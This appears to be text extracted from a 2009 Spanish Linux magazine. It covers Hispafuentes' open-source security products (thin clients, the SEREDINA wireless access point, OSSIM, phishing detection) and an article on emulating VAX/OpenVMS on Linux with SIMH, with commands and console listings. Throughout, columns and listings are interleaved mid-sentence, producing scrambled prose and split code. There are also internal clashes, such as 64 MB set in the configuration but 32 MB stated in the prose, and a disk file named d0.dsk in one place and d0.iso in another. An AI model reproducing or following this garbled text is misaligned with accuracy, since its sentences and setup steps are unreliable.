La Junta de Comunidades de Castilla-La Mancha elaboró un dependiendo de la ubicación, mantiene la validación de la
plan y puso en marcha allá por el año 2004 una iniciativa des- conexión junto a los atributos de uso y paso a servicios
tinada a eliminar las barreras en el acceso a la informática y a y aplicaciones en el área sanitaria de la Comunidad.
las tecnologías de la información de los ciudadanos mediante
la distribución gratuita de Software Libre. Molinux, es una Cliente ligero
iniciativa con la que el Gobierno regional da un paso más El poder contar con un sistema que no requiere mantenimienhacia la extensión de las Nuevas Tecnologías, en este caso to ni licenciamiento y su reposición por desastre no obliga a
impulsando de forma decidida su democratización al poner a ninguna personalización, que al abandonar o cerrar la sesión
disposición de ciudadanos y empresas un completo paquete no hay traza ni rastro en local y que permite trabajar con
informático a coste cero.
sistema operativos mínimos siendo los servicios prestados
de modo corporativo, está afianzando cada día con mayor roForja de desarrollo
tundidad la ventaja de uso de los Thin PC. El resultado apreEl Servicio de Salud de Castilla la Mancha (SESCAM) ciable de estas características conlleva una alta simplicidad,
ha creado el Centro de Innovación en tecnología de la in- un coste reducido, una seguridad alta y brinda disponibilidad
formación asociado a la Forja de desarrollos en software permanente. Además, gracias al abaratamiento y a la mejora
de código libre denominado “Forja de Desarrollo de Soft- del ancho de banda de las comunicaciones, nos ha permitido
ware”, utilizando la plataforma colaborativa GFORGE. probar estas soluciones con éxito en entornos tan dispares
Dicho desarrollo se ha llevado a cabo con la colaboración como educación, negocios, banca, ocio, etc.
profesional de Hispafuentes. El objetivo es disponer de
una plataforma de trabajo colaborativa a través de la cual Inicialización del sistema operativo
se pueda llevar a cabo la gestión de los diferente proyec- El terminal ligero deberá ser capaz de cargar un sistema opetos de software desarrollados en la unidad de I+D+i de rativo mínimo que le permita conectarse con el servidor, este
SESCAM.
arranque efectuarse de las siguientes maneras:
Linux+ 5/2009
soluciones para empresas
Hispafuentes: una alternativa libre en la seguridad
• PXE: La tarjeta de red del cliente ligero
debe de estar preparada para permitir que
el sistema operativo sea descargado desde un servidor. El cliente ligero además
de tomar su dirección IP desde el servidor DHCP, toma la dirección del servidor que le va a suministrar el sistema
operativo a utilizar. De esta manera, se
pueden tener clientes ligeros que no precisen de ningún tipo de unidad de almacenamiento.
• Compact Flash: Existen clientes ligeros que
en lugar de tener discos duros tienen soporte para tarjetas compact flash, así es posible cargar el sistema operativo del cliente
ligero en una compact flash y arrancar
desde allí. En ciertos aspectos el funcionamiento de una compact flash es muy
similar al de un disco duro IDE, de hecho,
son muy baratos los adaptadores compactflash/IDE, los cuales permiten reutilizar el
interfaz IDE de un ordenador y utilizar en
su lugar una compact flash. La ventaja de
utilizar el arranque mediante este sistema
es que es si es necesario personalizar el sistema operativo, suele ser más sencillo duplicar en instalar compact flash que disco
duro.
• Floppy: El sistema operativo arranca desde
un floppy. Realmente en la actualidad no
hay ningún sistema operativo de clientes
ligeros que pueda arrancar completamente
desde un floppy, sino que se arranca un
cargador que continúa con la carga del sis-
Figura 2. Gestión del servidor de autenticación
tema operativo0 que se encuentra en otro
dispositivo de almacenamiento.
• Disco duro: El sistema operativo puede
arrancar desde el disco duro del cliente
ligero si está disponible.
• USB: Si la BIOS del cliente ligero permite
el arranque desde dispositivos USB, es posible utilizar memorias USB para la carga
del sistema operativo.
• CDROM: El sistema operativo se encuentra en el equivalente de una distribución
live.
Probablemente lo más adecuado para un entorno
LAN sea el arranque mediante PXE, dado que
esto permite identificar a cada terminal ligero
(mediante el MAC de su tarjeta de red), y en
función de esta, personalizar su arranque y su
configuración de una manera centralizada. Este escenario (LAN y arranque mediante PXE)
es el ideal siempre que bien se esté planeando
la adquisición de equipos que vayan a trabajar
como clientes ligeros, o si los equipos que disponemos disponen de la posibilidad de arranque mediante PXE. Si esto no es así, habrá que
pensar en la adquisición de nuevas tarjetas de
red para los clientes que lo necesiten, bien en
la utilización de uno de los otros métodos de
arranque descritos.
En cuanto a la WAN, no es posible utilizar
el arranque mediante PXE dado que la configuración de red de la máquina remota no es
obtenida utilizando el servidor DHCP local,
por lo tanto se deberá utilizar para los terminales remotos alguno de los otros métodos de
arranque.
El departamento de seguridad de Hispafuentes esta en condiciones de brindar a sus
clientes soluciones personalizadas a un coste
competitivo dentro del ámbito de los PC ligeros y de su conectividad central en unos plazos
óptimos.
SEREDINA
Es sabido (o al menos debería serlo) que la
seguridad de las conexiones inalámbricas, en
muchos casos es, cuando menos, precaria. Hay
limitaciones contra las que poco podemos hacer
más allá que pedir que no ocurran, dado que al
tratarse de un medio de transmisión Open Source,
Figura 1. Esquema topología LAN + WAN
www.lpmagazine.org
45
soluciones para empresas
Hispafuentes: una alternativa libre en la seguridad
esa información queda inaccesible evitando
fuga de información y ayudando a cumplir la
LOPD.
Desde Hispafuentes, pensando en facilitar
la configuración y puesta en marcha de redes
inalámbricas seguras, se ha acometido el desarrollo de SEREDINA. SEREDINA (Securización de Redes Inalámbricas) es un punto de
acceso inalámbrico el cual, partiendo de la conocida y exitosa plataforma OpenWrt (http://
www.openwrt.org) , incorpora y gestiona las
siguientes funcionalidades utilizando software
open source.
• Soporte para autenticación mediante 802.1x,
utilizando distintos protocolos de autenticación EAP (EAP – PEAP, EAP – TLS
y EAP – TTLS).
• Servidor de autenticación incorporado
freeradius.
Figura 3. Gestión de la Autoridad de Certificación
puede haber determinadas sources que estén interfiriendo con nuestra transmisión ... generalmente en forma de interferencias. Por si esto
fuera poco, la naturaleza del medio hace que
el conectarse al mismo y comenzar a recibir
no requiera estar físicamente en las instalaciones o en el domicilio o en las instalaciones
donde se alojan los equipos conectados a la
red. Precisamente esa es una de las características buscadas en las redes inalámbricas, pero
desde el punto de vista de la seguridad esto no
es nada bueno.
Desde el punto de vista legal, donde existen actualmente grandes lagunas, podemos
hacernos la siguiente pregunta: ¿Quién es el
responsable final si desde una red inalámbrica
que ha sido vulnerada se lleva a cabo una acción delictiva?, ¿es el usuario final (domestico
o empresa) que alquila el servicio?, ¿es el
proveedor de comunicaciones que nos brinda
la infraestructura?.
Por otra parte, apoyándonos en la transparencia de la solución, hemos desarrollado
una solución escalable que utiliza el certificado de paso al punto de conexión inalámbrico
como un certificado adicional de uso para acceso a información sensible de la compañía,
permitiendo en nuestra oficina acceder a esa
información e incluso descargarla en nuestro
equipo personal, pero fuera de la oficina
Figura 4. Gestión de usuarios
46
Linux+ 5/2009
Seguridad
en nuestras manos
El contar con una herramienta centralizada de
seguridad perimetral es el deseo de cualquier
técnico de seguridad, administrador de red,
auditor, responsable de seguridad,etc. Sondeando a estos profesionales sobre sus experiencias nos cuentan que tiene que tener su
herramienta de seguridad ideal.
• Normalice, agrupe y priorice los eventos,
pudiendo tratar los eventos en tiempo real
al pasar de infinidad de líneas de log a un
número manejable.
• Correlacionar los eventos por medio de
patrones y directivas, evitando los falsos
positivos.
• Consola única de gestión con entorno
ejecutivo, informes, ticket, estado, trazabilidad de los eventos, asignaciones, etc.
• Personalización, filtrado, gestión del riesgos, lógicas de negocio, posibilidad de
aplicar distintos niveles de seguridad por
segmento según nos convenga.
• Que no tengamos una caja negra donde
no se sepa que se ejecuta ni como.
• Poder crecer, desplegar y distribuir manteniendo lo creado, siendo por tanto escalable de manera garantizada.
• Poder delegar la administración, clasificar
la información y automatizar respuestas
de forma rápida y fácil.
• Garantizar la inversión, pudiendo integrar
distintos sistemas o herramientas ya existentes o futuras sin grandes restricciones.
• No tener que pagar licencias o servicios
especiales periódicos o no previstos para
mantener la protección de los activos
soluciones para empresas
Hispafuentes: una alternativa libre en la seguridad
• Ausencia de costes ocultos y formaciones
especificas.
¿Existe alguna herramienta de seguridad que de
respuesta a estas inquietudes ? Todo eso y más
ofrece OSSIM (Open Source Security Information Management).
OSSIM
Resuelve las problemáticas más habituales
de los Responsables de Seguridad. Agrupa
más de 15 programas de código abierto proporcionando todos los niveles tecnológicos
necesarios para cubrir el ciclo completo de la
gestión de seguridad y supervisión de seguridad (SOC) y por lo tanto, da respuesta global
a toda la problemática de gestión de seguridad que puede plantearse en una Organización.
Sistema
de respuesta rápida antiphising
La respuesta de las entidades ante los intentos
de suplantación de sus servidores para cometer
fraudes (phising), habitualmente es reactiva,
esto quiere decir que la entidad víctima del
phising tiene que ser consciente en primer lugar
de que se están realizando un intento de ataque
para poder poner en marcha posteriormente los
Figura 6. Ejemplos de servicios de NFC
planes de contingencia que estén aprobados
para cada caso. Generalmente esto significa intervención humana, y por consiguiente, pudiera
darse el caso de que cuando se puedan poner
en marcha las medidas correctivas, múltiples
usuarios hayan podido ser víctimas de algún
tipo de fraude.
El departamento de Seguridad Informática de Hispafuentes está desarrollando un
sistema de detección temprana y automatizada de intentos de phising. Para ello, se ha
evaluado la problemática del phising desde
distintas perspectivas y se han aplicado múltiples soluciones complementarias ( mailbox
honeypots, sistemas de listas negras, técnicas
de inteligencia artificial ) que permitan a las
entidades mediante módulos adaptables a
cada portal y a cada necesidad, por un lado,
la respuesta prácticamente inmediata ante un
posible intento de phising, y por otro lado,
alertar inmediatamente a los usuarios que ya
hayan sido víctimas.
RFID en el Móvil
La convergencia de múltiples tecnologías en
el dispositivo móvil es una muestra más del
avance tecnológico hacia la ubicuidad e inteligencia ambiental.
NFC, Near Field Communication o tecnología de campo cercano o proximidad, es
una muestra de la integración de la tecnología inalámbrica con tarjetas inteligentes
o smart card que dotan al móvil de todos
los servicios de éstas con la conveniencia
y simplicidad del uso del teléfono móvil. De
esta forma pueden desarrollarse numerosos
servicios en el móvil, con un nivel de seguridad elevado como por ejemplo el pago con
el teléfono móvil. Los servicios nuevos que
surgirán serán los de proximidad a los que
el usuario puede acceder tan sólo acercando
su móvil a un terminal que ofrezca el servicio. Ejemplos de servicios están mostrados
en la Figura 6.
Figura 5. Pishing
www.lpmagazine.org
47
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
Rehosting
de sistemas VAX/OpenVMS
en sistemas GNU/Linux
José B. Alós Alquézar
[email protected]
Uno de los problemas más frecuentes que se presentan en determinados
proyectos de diseño de sistemas y desarrollo de software a largo plazo es la
obsolescencia del mismo y especialmente, el hardware utilizado.
48
E
ste caso es particularmente dramático en determinados sectores de la industria como el naval
y aeroespacial, ya que el plazo de renovación
de los equipos informáticos es ostensiblemente
inferior a la duración del proyecto afectado, superior en muchos casos a diez años.
Imaginemos por un momento un proyecto de desarrollo de software embebido que requiere técnicas RT
(Real-Time) iniciado a fines de la década de los ochenta,
utilizando como plataforma de desarrollo sistemas VAX
de Digital Equipment Corporation bajo sistema operativo
OpenVMS, caso tomado de la industria aeronáutica, en la
que el cambio o actualización de cualquier componente,
está sujeto a severas restricciones. ¿Qué ocurre cuando en
estos momentos se avería un componente como un disco
duro y no disponemos de repuestos fiables, salvo en el
mercado de ocasión? La solución para ello es sencilla:
basta aprovechar la potencia de los equipos actuales para
realizar una migración de esta plataforma VAX/OpenVMS
a un sistema que permita su emulación y este va a ser el
objetivo del presente artículo.
Linux+ 5/2009
Los sistemas VAX/VMS.
Un poco de historia
Originariamente desarrollados en la década de los 70 por Digital Equipment Corporation, los sistemas VAX constituyen
un ejemplo de plataforma ISA basada en una arquitectura
CICS de 32 bits, concebida originalmente para sustituir los
antiguos equipos DEC PDP, incorporando capacidades de
direccionamiento virtual, así como un juego de instrucciones ortogonal. Estas plataformas alcanzaron su máximo
esplendor en la década de los ochenta como paradigma de la
En este artículo aprenderás
• Instalación, configuración y administración de servidores VAX/OpenVMS en sistemas GNU/Linux,
• Aspectos básicos de configuración y conectividad
TCP-IP para sistemas emulados,
• Arquitectura básica y posibilidades de los sistemas
VAX/OpenVMS,
• Instalación de productos adicionales VAX/OpenVMS
emulados por sistemas GNU/Linux.
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
bre de 1858, lo que supone que al utilizar OpenVMS 64 bits para representar una unidad
de tiempo de 100 ns, el famoso efecto 2000
de estos sistemas acontecerá el 31 de julio
de 3108
Soluciones existentes
en el mercado
Figura 1. VAXstation 4000
arquitectura CICS ISA hasta su declive durante
la década posterior.
El sistema VMS, acrónimo de Virtual Memory System, previamente conocido como
VAX-11/VMS, VAX/VMS es un sistema operativo soportado por plataformas Digital Equipment Corporation VAX y Alpha, compañía
que a través de los años, ha sido adquirida sucesivamente por Compaq y Hewlett-Packard,
es un sistema de proceso multiusuario de tiempo compartido de alto nivel diseñado originalmente para admitir capacidades de procesado
batch, sistemas de tiempo real y proceso de
transacciones, que ofrece capacidades de Alta
Disponibilidad a través de soluciones de cluster o incluso, la posibilidad de ser distribuido
en varios servidores.
Estas capacidades, han hecho que el tándem
VAX/OpenVMS fuera utilizado en la programación de sistemas empotrados de tiempo real,
debido a su elevada fiabilidad. Los primeros
pasos arrancan en 1975 de la mano de DEC con
el proyecto Star, cuya finalidad era lograr una
extensión de una memoria virtual de 32 bits para los venerables PDP-11 de la mano de Gordon
Bell, Roger Gourd y Dave Cutler.
Estos trabajos culminaron en la plataforma
VAX 11/780 y el sistema operativo VAX-11/
VMS, cuya denominación ha ido cambiando
a lo largo de los años.
Como curiosidad histórica, si en los sistemas UNIX el tiempo comienza en 1970, el
inicio de la era VMS empieza el 17 de noviem-
Dentro del abanico de alternativas existentes
en el momento actual para extender la vida de
aplicaciones desarrolladas en los venerables
entornos VAX, se va a presentar únicamente
dos soluciones, una propietaria y por consiguiente, de elevado coste, confrontada con una
solución OpenSource particularizada a sistemas Unix en sus diferentes versiones. Estas
dos soluciones presentan las siguientes ventajas respecto a la utilización de los entornos
originarios:
• Aceleración del sistema y el acceso a recursos VAX/OpenVMS,
• Incremento radical de la capacidad de almacenamiento,
• Disponibilidad de tecnologías RAID para
sistemas VAX/OpenVMS,
• Posibilidad de utilizar herramientas de
backup actualizadas,
• Facilitar las actualizaciones de los sistemas
operativos y el software VAX/OpenVMS.
Figura 2 Arquitecturas comerciales de emulación de
sistemas VAX/OpenVMS
quizás el aspecto más ventajoso y que no presenta la solución OpenSource es la posibilidad
de mapeo de múltiples puertos RS-232 de servidores VAX a una tarjeta multipuerto instalada
en un ordenador personal.
Esta última posibilidad es especialmente
importante en el desarrollo de sistemas embebidos, al permitir reemplazar servidores
de terminales DECServer 200/700, también
afectados por la obsolescencia natural de estos
equipos, uno de cuyos exponentes, el servidor VAXStation 4000/90 se muestra en la Figura 3.
Nuestra propuesta multiplataforma es SIMH, emulador multiplataforma que funciona
en entornos MS Windows y sistemas Unix
como OpenBSD, NetBSD, Solaris y naturalmente, GNU/Linux y que se va a presentar en
sucesivos apartados.
CHARON VAX Emulator es una solución que El emulador SIMH
permite la emulación de sistemas VAX, Alpha The Computer History Simulator Project,
o PDP en entornos IA32 bajo sistema operativo también conocido bajo el acrónimo SIMH cuMS Windows según el esquema de la Figura 2; yo código fuente se halla disponible en http://
Lo que deberías saber
• Conocimientos de sistemas Unix a nivel de desarrollador,
• Rudimentos básicos de sistemas VAX/
OpenVMS,
• Compilación de software mediante GNU
Autoconf,
• Configuración de interfaces de red
TCP-IP.
Figura 3. Interior de una estación VAXStation 4000/90
www.lpmagazine.org
49
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
simh.trailing-edge.com/, es un emulador ba- Tabla 1. Sistemas emulados por SIMH
PDP-1/PDP-4/PDP-7/PDP-11/PDP-15/VAX
sado en MIMIC, desarrollado en la década de Digital Equipment Corporation
los 60 y cuya primera versión fue liberada en Data General
Nova / Eclipse
1993 al objeto de emular sistemas y hardware GRI Corporation
GRI-909
antiguo como los que se hallan incluidos en
IBM
1401/1620/1130/7090/7094/System/3
la Tabla 1 a título de ejemplo.
Interdata
16/32 bit series
Así como las menos conocidas de Ro2116/2100/21MX
yal-Mcbee y Scientific Data Systems, SIMH Hewlett-Packard
Honeywell
H316 and H516
también dispone de una colección de utilidades para la manipulación de ficheros en los MITS
Altair 8800 / Intel 8080
formatos propios de algunas arquitecturas
Listado 1. Generando las aplicaciones necesarias
como DEC PDP. La versión SIMH 3.8.0 fue
la última liberada el 15 de junio de 2008.
El sistema operativo OpenVMS
Antes de continuar con el artículo, es preciso
una pequeña digresión sobre el software a emular en plataformas VAX/OpenVMS que, evidentemente, es propietario. No obstante en el
momento actual, HP Compaq proporciona a los
VAX/OpenVMS
Uno de los grandes problemas existentes en la industria es el mantenimiento
de sistemas informáticos debido a la obsolescencia de componentes. Quizás el
caso más paradigmático sucede en la
industria aeronáutica, en la que, los proyectos a largo plazo de un mínimo de
quince años tropiezan con el handicap de
que los sistemas utilizados para el desarrollo de software empotrado no se pueden cambiar con la frecuencia que sería
deseable.
Hace quince años, el desarrollo de
sistemas de tiempo real (RT-Systems)
estaba adscrito a las plataformas VAX/
OpenVMS. Actualmente, existen una
gran cantidad de desarrollos que deben
ser mantenidos como sucede en la industria aeronáutica, en la que los cambios
de componentes críticos, de sistemas de
vuelo están, como comprenderá el lector,
sujetos a severas restricciones.
Una perspectiva a tener en cuenta
es que el grupo de usuarios de sistemas
DEC, conocido como DECUS, nació en
1961 aunque el verdadero inicio de la
época VMS arranca con el proyecto Star
en 1975, alcanzando su máximo esplendor en la década de los ochenta de la
mano de la industria, entidades gubernamentales y financieras, en las que a día
de hoy y a pesar de la obsolescencia del
hardware, la plataforma VAX/OpenVMS
sigue teniendo un nicho de mercado.
50
persephone:~$ mkdir simh
persephone:~$ cd simh
persephone:~$
unzip sim-3.8.0.zip
persephone:~simh$ mkdir BIN
persephone:~$ make USE_NETWORK=1 BIN/vax
Listado 2. Fichero de configuración inicial vax.ini
;
; Load CPU microcode
load -r /opt/vax/data/ka655x.bin
;
; Attach non-volatile RAM to a file
attach nvr /opt/vax/data/nvram.bin
;
; This virtual machine has 64M memory
set cpu 64m
;
; Define disk drive types. RA92 is largest-supported VAX drive.
set rq0 ra92
set rq1 ra92
set rq2 ra92
set rq3 cdrom
;
; Attach defined drives to local files
attach rq0 /opt/vax/data/d0.dsk
attach rq1 /opt/vax/data/d1.dsk
attach rq2 /opt/vax/data/d2.dsk
;
; Attach the CD-ROM to its file (read-only)
attach -r rq3 /opt/vax/data/cd.iso
;
; Disable unused devices. It's also possible to disable individual
devices,
; using a construction like "set rq2 disable" if desired.
;
set rl disable
set ts disable
;
; Attach Ethernet to a network interface
set xq mac=00-11-95-5c-f5-b4
attach xq eth0
;
; Now start the emulator
boot cpu
Linux+ 5/2009
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
TCP-IP con el entorno VAX/OpenVMS • Instalación si no existe, del entorno de deemulado mediante SIMH. Aun cuando exissarrollo GNU/Linux para C/C++,
ten paquetes binarios disponibles para arqui- • Descarga e instalación de la librería libtecturas Intel, consideramos de mayor interés
pcap,
realizar el proceso de construcción a partir • Descarga del código fuente SIMH 3.8.0,
del código fuente de todo el sistema de emudisponible en http://simh.trailing-edge.
lación:
org.
Listado 3. Arranque del proceso de instalación OpenVMS en el sistema emulado
root@persephone:~# /opt/vax/bin/vax
Figura 4. Arranque del sistema VAX/OpenVMS
emulado
desarrolladores que lo soliciten unas licencias
para uso no comercial disponibles en el
portal OpenVMS Hobbyist http://www.open
vmshobbyist.com/news.php, destinadas específicamente a propósitos de formación o investigación:
• Registrarse en Emcompass US, en la URL
https://www.encompassus.org/,
• Solicitar el kit OpenVMS VAX Hobbyist
Kit 3.0,
• Facultativamente, adquirir las licencias
necesarias o acogerse al proyecto Compaq
OpenVMS Hobbyist.
Por este motivo, la realización de la plataforma exige la obtención de una copia del sistema operativo OpenVMS 7.3 para sistemas
VAX, así como las licencias PAK necesarias.
Estas consideraciones serán de aplicación
para el resto de software básico cubierto por
las Layered Product Licenses que se pretenda
migrar, como compiladores en BLISS, C, PL/
1, Fortan, Cobol, intérpretes y otras utilidades
propietarias.
Construcción
de la plataforma
OpenVMS/VAX mediante SIMH
En primer lugar, es preciso poseer un sistema
GNU/Linux con el soporte completo para desarrollo C/C++ junto con la librería libpcap,
que nos permitirá establecer una conexión
VAX simulator V3.7-3
NVR: buffering file in memory
RQ: unit is read only
Eth: opened eth0
KA655-B V5.3, VMB 2.7
Performing normal system tests.
40..39..38..37..36..35..34..33..32..31..30..29..28..27..26..25..
24..23..22..21..20..19..18..17..16..15..14..13..12..11..10..09..
08..07..06..05..04..03..
Tests completed.
>>>b dua0
(BOOT/R5:0 DUA0
Available devices for this installation are:
Available device
DUA0:
device type RA92
Available device
DUA1:
device type RA92
Available device
DUA2:
device type RA92
Available device
DUA3:
device type RRD40
Available device
DYA0:
device type RX02
Available device
DYA1:
device type RX02
Available device
MUA0:
device type TK50
Available device
MUA1:
device type TK50
Available device
MUA2:
device type TK50
Available device
MUA3:
device type TK50
Listado 4. Los productos instalados en el sistema
$ product show product *
----------------------------------- ----------- -----------PRODUCT
KIT TYPE
STATE
----------------------------------- ----------- -----------DEC VAXVMS DECNET_PHASE_IV V7.3
Full LP
Installed
DEC VAXVMS TCPIP V5.1-15
Full LP
Installed
DEC VAXVMS VMS V7.3
Transition
Installed
----------------------------------- ----------- -----------3 items found
Figura 5. Arranque de la instalación del SO OpenVMS con el dispositivo DUA3
www.lpmagazine.org
51
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
La librería PCAP es necesaria si se desea habilitar el acceso Ethernet al sistema emulado
Opcionalmente, resulta interesante compilar el kernel Linux con el soporte para dispositivos virtuales TUN/TAP activado, aunque será
este un punto en el que volveremos a insistir al
finalizar el proceso de instalación y puesta en
funcionamiento.
Procedimiento de instalación
Una vez obtenido el código fuente es preciso proceder a su desempaquetado y posterior compilación. En el caso que nos ocupa, puesto que únicamente estamos interesados en una plataforma
VAX, generaremos únicamente las aplicaciones
estrictamente necesarias para esta plataforma mediante los comandos presentados en el Listado 1.
Una vez concluida esta operación podemos
generar manualmente los directorios:
root@persephone:~# mkdir
-p /opt/vax/bin
Listado 5. Instalación de componentes adicionales OpenVMS
$ mount/override=id dua3:
%MOUNT-I-WRITELOCK, volume is write locked
%MOUNT-I-MOUNTED, VAXVMS073 mounted on _ARES$DUA3:
$ dir dua3:[0,0]
Directory DUA3:[000,000]
000000.DIR;1
BACKUP.SYS;1
BADBLK.SYS;1
BADLOG.SYS;1
BITMAP.SYS;1
CONTIN.SYS;1
CORIMG.SYS;1
DCE_
VAX030.DIR;1
DECNET_PHASE_IV_VAX073.DIR;1
DECNET_PLUS_VAX073.DIR;1
DECW073.C;1
DECW073.E;1
DECW073.D;1
DOCUMENTATION.DIR;1 DWMOTIF_VAX125.DIR;1
DECW073.F;1
DWMOTIF_
VAX126.DIR;1
HELP_MESSAGE.DIR;1
INDEXF.SYS;1
ISL_SCRIPT.ESS;1
KERBEROS_
KITS.DIR;1
SECURITY.SYS;1
SYS0.DIR;1
SYS1.DIR;1
TCPIP_VAX051.DIR;1
VAX073.DIR;1
VMS073.A;1
VMS073.B;1
VMS073.C;1
VMS073.D;1
VMS073.E;1
VMS073.F;1
VAX010.DIR;1
root@persephone:~# mkdir /opt/vax/data
VMSI18N_VAX073.DIR;1
y proceder a copiar el fichero binario vax junto
al fichero de arranque PROM KA655 a su ubicación definitiva:
Total of 35 files.
VOLSET.SYS;1
Listado 6. Instalación del soporte TCP-IP en sistemas OpenVMS
root@persephone:~# cp BIN/vax /opt/
vax/bin
$ product
root@persephone:~# cp VAX/ka655.bin
_Operation (INSTALL, SHOW, ...): install
/opt/vax/data
_Product name (* to show list): *
The following product has been selected:
DEC VAXVMS TCPIP V5.1-15
El programa
OpenVMS Hobbyist
A pesar de tratarse de un sistema propietario, el programa OpenVMS Hobbyist localizado en http://www.openvms
hobbyist.org/ e iniciado en 1997 proporciona tanto el sistema operativo como
una gran variedad de productos asociados denominados layered products de
forma gratuita para uso no comercial.
Este hecho ha permitido a otras compañías presentar sus aplicaciones bajo los
mismas disposiciones de uso, como el
Process Software y MVP Systems.
El tiempo requerido actualmente para obtener una licencia hobbyist es inferior a una semana, y existe la posibilidad
de obtener el soporte físico en CD-ROM
por 30 USD. Es igualmente posible obtener la documentación deseada sobre
la familia OpenVMS en http://www.
openvms.org/ así como directamente de
http://www.hp.com.
52
Layered Product
Do you want to continue? [YES]
Configuration phase starting ...
You will be asked to choose options, if any, for each selected product and
for
any products that may be installed to satisfy software dependency
requirements.
DEC VAXVMS TCPIP V5.1-15: Compaq TCP/IP Services for OpenVMS.
(c) Compaq Computer Corporation 2000. All Rights Reserved.
Listado 7. La interfaz eth0
root@persephone:~# ifconfig eth1
eth1
Link encap:Ethernet
HWaddr 00:11:95:5c:f5:b4
inet6 addr: fe80::211:95ff:fe5c:f5b4/64 Scope:Link
UP BROADCAST MULTICAST
MTU:1500
Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B)
TX bytes:168 (168.0 B)
Interrupt:11 Base address:0xb800
Linux+ 5/2009
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
Una vez realizado este paso, es preciso establecer un fichero de configuración inicial vax.ini
en el directorio /opt/vax/data, en el que se
establezcan las características básicas de
configuración del sistema VAX/OpenVMS
a emular y cuyo contenido está presentado en
el Listado 2, así como establecer un enlace
simbólico del fichero al directorio /opt/vax/
bin, a fin de que el binario vax pueda hacer
uso de éste:
root@persephone:~# ln -sf /opt/vax/
data/vax.ini /opt/vax/bin/vax.ini
Shutdown Compaq TCP/IP Services for OpenVMS
-
Startup Compaq TCP/IP Services for OpenVMS
En este fichero de configuración, se establece un sistema VAX con una memoria RAM
de 32 MB, así como tres discos duros RA92
presentes en los dispositivos rq0, rq1 y rq2,
respectivamente, así como una unidad de
CD-ROM virtual en el dispositivo rq3 bajo
el fichero /opt/vax/data/cd.iso, destinada a realizar la instalación del sistema operativo OpenVMS 7.3, así como la dirección
Ethernet de un dispositivo NIC libre para
proporcionar la conexión TCP-IP al sistema
emulado.
Una vez realizados estos pasos, es posible proceder al arranque del emulador VAX/
OpenVMS mediante el ejecutable:
-
Run tests
-
Configure options 1 - 4
root@persephone:~# /opt/vax/bin/vax
Figura 6. Definición de la interfaz de red Ethernet en OpenVMS
Listado 8. EL menú interactivo que utilizaremos para la configuración de la interfaz de red
Compaq TCP/IP Services for OpenVMS Configuration Menu
Configuration options:
1
-
Core environment
2
-
Client components
3
-
Server components
4
-
Optional components
5
-
6
7
A
[E] -
Exit configuration procedure
Enter configuration option: 1
Listado 9. Reconfiguración del kernel OpenVMS 7.3
@SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK
obteniéndose en pantalla la salida de la Figura 4.
Con ello, es posible iniciar ya la instalación del sistema operativo OpenVMS. En
nuestro caso, hemos escogido la versión OpenVMS 7.3 de cara a ejemplificar completamente
el proceso a seguir.
$ @SYS$UPDATE:AUTOGEN GETDATA REBOOT CHECK_FEEDBACK
Instalación del sistema
operativo OpenVMS 7.3
%AUTOGEN-I-NEWFILE,
Una vez obtenida una copia del sistema operativo OpenVMS 7.3 en CD-ROM, es necesario
transferir ésta al fichero cd.iso en el directorio
/opt/vax/data, de conformidad a lo estipulado en el apartado precedente mediante el
siguiente comando:
%AUTOGEN-I-BEGIN, GETDATA phase is beginning.
Previous contents of SYS$SYSTEM:CLU$PARAMS.DAT have
been copied to SYS$SYSTEM:CLU$PARAMS.OLD.
You may wish to purge
SYS$SYSTEM:CLU$PARAMS.OLD.
%AUTOGEN-I-NEWFILE,
A new version of SYS$SYSTEM:PARAMS.DAT
root@persephone:~# dd if=/dev/cdrom
has been created.
of=/opt/vax/data/cd.iso
You may wish to purge this file.
%AUTOGEN-I-END, GETDATA phase has successfully completed.
%AUTOGEN-I-BEGIN, GENPARAMS phase is beginning.
%AUTOGEN-I-NEWFILE, A new version of SYS$MANAGER:
VMSIMAGES.DAT has been created.
You may wish to purge this file.
www.lpmagazine.org
Además, debe procederse a crear un fichero
que actúe como disco del sistema emulado
VAX/OpenVMS de forma análoga al caso
anterior, que corresponderá al dispositivo rq0
del Listado 2, y que aparece como el fichero
/opt/vax/data/d0.dsk con el tamaño deseado; en este caso 1GB:
53
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
root@persephone:~# dd if=/dev/zero
of=/opt/vax/data/d0.iso count=1024k
bs=1k
$ product
Operation (INSTALL, SHOW, ...): install
Téngase en cuenta que en aquellos tiempos, un
disco duro RRD92 tenía un tamaño de 400 MB;
todo un hito para la época. Del mismo modo, si
se desea crear el dispositivo disco duro rq1, repetiríamos el proceso anterior. Finalmente, sólo
resta proceder a ejecutar, como superusuario el
binario:
The following product has been selected:
root@persephone:~# /opt/vax/bin/vax
Configuration phase starting ...
De este modo, el dispositivo rq3 del emulador
VAX/OpenVMS implementa el CD-ROM
de instalación del sistema operativo, lo cual
se traduce a nivel de firmware en el sistema
emulado en el dispositivo DUA3, a utilizar en
el arranque de la instalación, como se muestra
en la Figura 5. En nuestro caso, deberemos utilizar como disco VAX el dispositivo DUA0
que actuará en lo sucesivo como disco de
arranque de nuestra plataforma emulada VAX/
OpenVMS y seguir detalladamente los pasos
que el asistente de instalación interactiva OpenVMS nos solicite.
Una vez que OpenVMS 7.3 haya sido
instalado en su totalidad, es necesario reiniciar
el emulador SIMH arrancando el sistema operativo desde el disco emulado DUA0 en lugar
del CD-ROM DUA3, ejecutando los comandos recogidos en el Listado 3.
Se recomienda en este punto no utilizar el soporte SMP en el kernel de Linux para evitar problemas. Una vez arrancado el sistema OpenVMS
7.3, es el momento de instalar las licencias, así
como productos adicionales presentes en OpenVMS Layered Components utilizando la imagen
del CD-ROM presente en el fichero cd.iso.
Una vez la instalación del sistema operativo OpenVMS 7.3 ha concluido, los productos
presentados en el Listado 4 aparecen ya instalados en el sistema.
Tras lo cual, podemos proceder a la instalación de los productos adicionales que se consideren necesarios. Concretamente, en nuestro
caso, nos centraremos en la incorporación de
comunicaciones TCP-IP, obviando el soporte
de los protocolos DECnet, característicos de
esta arquitectura.
You will be asked to choose options, if any,
